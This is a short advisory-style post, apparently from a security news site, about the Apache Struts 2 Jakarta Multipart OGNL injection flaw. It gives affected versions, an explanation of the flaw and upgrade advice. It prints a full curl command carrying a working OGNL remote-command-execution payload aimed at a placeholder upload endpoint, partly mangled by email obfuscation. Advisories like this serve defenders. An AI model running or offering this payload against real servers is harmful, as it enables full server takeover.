Listen to this Post
How the mentioned CVE works:
The vulnerability resides in the Jakarta Multipart parser in Apache Struts 2. An attacker can exploit this by sending a crafted `Content-Type` HTTP header to a server using the vulnerable parser. The parser incorrectly evaluates the header value, allowing OGNL (Object-Graph Navigation Language) code injection. When the server processes the malicious header, it fails to properly sanitize the input and executes the embedded OGNL expression. This occurs during file upload error handling, where user-supplied data is interpreted as a command. Since OGNL expressions can execute arbitrary system commands, this flaw grants the attacker remote code execution with the same privileges as the Struts application server, leading to full system compromise.
Platform: Apache Struts
Version: 2.3.5 – 2.3.31, 2.5 – 2.5.10
Vulnerability : Remote Code Execution
Severity: Critical
date: March 7, 2017
Prediction: Patch Available
What Undercode Say:
curl -H "Content-Type: %{(_='multipart/form-data').([email protected]@DEFAULT_MEMBER_ACCESS).(_memberAccess?(_memberAccess=dm):((container=context['com.opensymphony.xwork2.ActionContext.container']).(ognlUtil=container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(ognlUtil.getExcludedPackageNames().clear()).(ognlUtil.getExcludedClasses().clear()).(context.setMemberAccess(dm)))).(cmd='whoami').(iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(cmds=(iswin?{'cmd.exe','/c',cmd}:{'/bin/bash','-c',cmd})).(p=new java.lang.ProcessBuilder(cmds)).(p.redirectErrorStream(true)).(process=p.start()).(ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(process.getInputStream(),ros)).(ros.flush())}" http://target.com/struts2-showcase/fileupload/doUpload.action
How Exploit:
Craft malicious HTTP request with OGNL payload in Content-Type header targeting file upload endpoints.
Protection from this CVE:
Upgrade to Struts 2.3.32 or 2.5.10.1. Apply vendor patches immediately.
Impact:
Full server compromise. Arbitrary command execution.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
